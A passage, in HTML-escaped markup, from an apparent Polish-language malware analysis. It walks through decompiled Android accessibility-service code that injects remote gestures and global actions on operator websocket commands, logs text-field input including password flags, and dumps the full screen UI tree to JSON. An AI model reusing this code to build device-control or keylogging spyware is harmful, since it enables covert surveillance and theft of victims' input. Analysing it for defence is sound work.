    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diVar&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;RemoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;access$handleControlMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;diVar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Wstrzyknięcie poleceń dotykowych następuje za pomocą &lt;code&gt;dispatchGesture()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;dispatchGesture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;GestureDescription&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addStroke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;GestureDescription&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;StrokeDescription&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;kc0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;HedgehogUtils&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;dispatchGesture() returned FALSE!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Akcje globalne również widać tutaj:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diVar&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="n"&gt;dh&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;performGlobalAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diVar&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="n"&gt;ih&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;performGlobalAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diVar&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="n"&gt;rh&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;remoteAccessibilityService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;performGlobalAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Binarny dekoder wiadomości przychodzących po protokole Websocket potwierdza, że są to akcje uruchamiane zdalnie przez operatora oprogramowania:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ih&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Przechwytywanie tekstu i wejścia klawiatury&lt;/h4&gt;
&lt;p&gt;Moduł przechwytuje zmiany tekstu z edytowalnych pól i zapisuje zarówno pierwotne, jak i zedytowane wartości:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;t80VarArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;before_text&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;added_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;removed_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length2&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text_length&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;input_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;gpVar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;TEXT_CHANGED&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;onVar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t80VarArr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Każde zdarzenie jest dodawane także do kanału event/log:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;package&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;class&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;before_text&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;is_password&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;accessibilityNodeInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isPassword&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;input_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;TEXT_CHANGED&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t80VarArr2&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Przechwytywany jest także bzepośrednio &lt;code&gt;TYPE_VIEW_TEXT_CHANGED&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;gpVar6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;TEXT_CHANGED&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strH13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contentDescription5&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;contentDescription5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accessibilityEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isPassword&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="n"&gt;f7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;before_text&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strH1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;added_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;accessibilityEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAddedCount&lt;/span&gt;&lt;span class="p"&gt;())),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;removed_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;accessibilityEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRemovedCount&lt;/span&gt;&lt;span class="p"&gt;())),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;from_index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;accessibilityEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getFromIndex&lt;/span&gt;&lt;span class="p"&gt;())),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;t80&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text_length&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strH13&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()))));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Przechwytywanie interfejsu użytkownika&lt;/h4&gt;
&lt;p&gt;Usługa tworzy pełną reprezentację wyświetlanego ekranu w pliku JSON, zawierającą tekst, opis zawartości, identyfikatory widoków, granice na ekranie, role oraz elementy podrzędne:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;className&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;contentDescription&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;viewIdResourceName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;viewIdResourceName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bounds&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;accessibilityNodeInfo&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Wyeksportowana metoda zwraca zserializowane drzewo wraz z wymiarami ekranu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;captureUITree&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;JSONException&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;AccessibilityNodeInfo&lt;/span&gt; &lt;span class="n"&gt;rootInActiveWindow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getRootInActiveWindow&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
